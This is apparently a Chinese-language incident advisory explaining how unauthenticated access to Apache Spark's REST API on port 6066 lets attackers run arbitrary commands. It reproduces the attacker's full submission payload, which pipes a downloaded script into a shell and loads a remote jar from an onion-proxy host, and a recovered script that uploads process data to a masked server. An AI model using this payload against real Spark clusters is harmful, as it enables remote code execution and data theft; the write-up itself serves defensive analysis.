一、漏洞詳情說明
時間:2022-03-23 15:03:02 | 來源:行業(yè)動態(tài)
時間:2022-03-23 15:03:02 來源:行業(yè)動態(tài)
Apache Spark 是專為大規(guī)模數(shù)據(jù)處理而設(shè)計的快速通用的計算引擎,是UC Berkeley AMP lab(加州大學伯克利分校的AMP實驗室)所開源的類Hadoop MapReduce的通用并行框架。為了讓使用者能夠方便的控制系統(tǒng)進行計算和查看任務結(jié)果,Spark也提供了 WEB UI圖形化界面和相應的 REST API來方便用戶操作。
Spark作為大數(shù)據(jù)時代的計算引擎,一旦被攻破,企業(yè)的核心數(shù)據(jù)資產(chǎn)、計算能力、用戶敏感數(shù)據(jù)都將被攻擊者竊??;更進一步的,由于Spark自身的分布式特性,一個攻擊點的攻破可能導致整個集群的淪陷。Spark權(quán)限設(shè)置不當,可能導致攻擊者無需認證即可通過該 REST API來操作Spark創(chuàng)建任務、刪除任務、查看任務結(jié)果等,從而最終獲得執(zhí)行任意指令的能力。
我們還原了攻擊者的攻擊步驟:
1. 攻擊者通過web掃描的方式發(fā)現(xiàn)了一臺Spark webui服務
2. 構(gòu)造攻擊指令,并通過6066端口發(fā)送到該服務器的REST API
POST /v1/submissions/create
host:xxxx.xxx.xx:6066
{ "action": "CreateSubmissionRequest", "clientSparkVersion": "2.1.0", "appArgs": [ "curl x.x.x.x/y.sh|sh" ], "appResource": "https://xxxx.onion.plus/SimpleApp.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "SimpleApp", "sparkProperties": { "spark.jars": "https://xxxxxxxx.onion.plus/SimpleApp.jar", "spark.driver.supervise": "false", "spark.app.name": "SimpleApp", "spark.eventLog.enabled": "false", "spark.submit.deployMode": "cluster", "spark.master": "spark://x.x.x.x:6066" } }
該攻擊payload指示服務器遠程下載https://xxxxxxxx.onion.plus/SimpleApp.jar ,并執(zhí)行攻擊者指定的任意方法,該攻擊者還通過洋蔥網(wǎng)絡(luò)來隱藏自己的相關(guān)信息。
3.對該 jar 包進行逆向分析,該 jar 包即是一個簡單的執(zhí)行命令的后門,
執(zhí)行 jar 包時,Spark服務器將會從洋蔥網(wǎng)絡(luò)中下載一段shell腳本并執(zhí)行。
4.腳本內(nèi)容如下:
#!/bin/bash
ps ax --sort=-pcpu /tmp/tmp.txt
curl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.php
rm -rf /tmp/tmp.txt
該腳本只是簡單的將性能信息打印并回傳,暫未進行進一步的攻擊。